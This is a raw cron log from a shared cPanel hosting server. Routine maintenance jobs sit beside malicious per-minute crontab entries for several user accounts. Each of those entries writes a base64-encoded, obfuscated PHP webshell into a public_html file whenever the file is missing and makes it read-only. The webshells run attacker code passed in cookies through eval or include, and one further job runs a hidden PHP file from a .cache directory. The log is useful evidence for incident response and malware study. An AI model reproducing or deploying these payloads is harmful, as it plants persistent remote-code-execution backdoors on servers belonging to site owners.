Jun  7 11:40:02 medusa CROND[9774]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:40:02 medusa CROND[9775]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 11:40:02 medusa CROND[9777]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:40:02 medusa CROND[9779]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 11:40:02 medusa CROND[9771]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 11:40:02 medusa CROND[9784]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:40:02 medusa CROND[9766]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 11:41:01 medusa CROND[11324]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 11:41:01 medusa CROND[11325]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:41:01 medusa CROND[11326]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 11:41:01 medusa CROND[11328]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:41:01 medusa CROND[11327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:41:01 medusa CROND[11330]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:41:01 medusa CROND[11329]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:41:01 medusa CROND[11331]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:41:01 medusa CROND[11337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:41:01 medusa CROND[11339]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:41:01 medusa CROND[11338]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 11:41:01 medusa CROND[11340]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:41:01 medusa CROND[11343]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:41:01 medusa CROND[11346]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:42:01 medusa CROND[12890]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:42:01 medusa CROND[12892]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:42:01 medusa CROND[12893]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 11:42:01 medusa CROND[12894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:42:01 medusa CROND[12895]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:42:01 medusa CROND[12897]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:42:01 medusa CROND[12898]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:42:01 medusa CROND[12896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:42:01 medusa CROND[12904]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:42:01 medusa CROND[12905]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:42:01 medusa CROND[12906]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:42:01 medusa CROND[12907]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
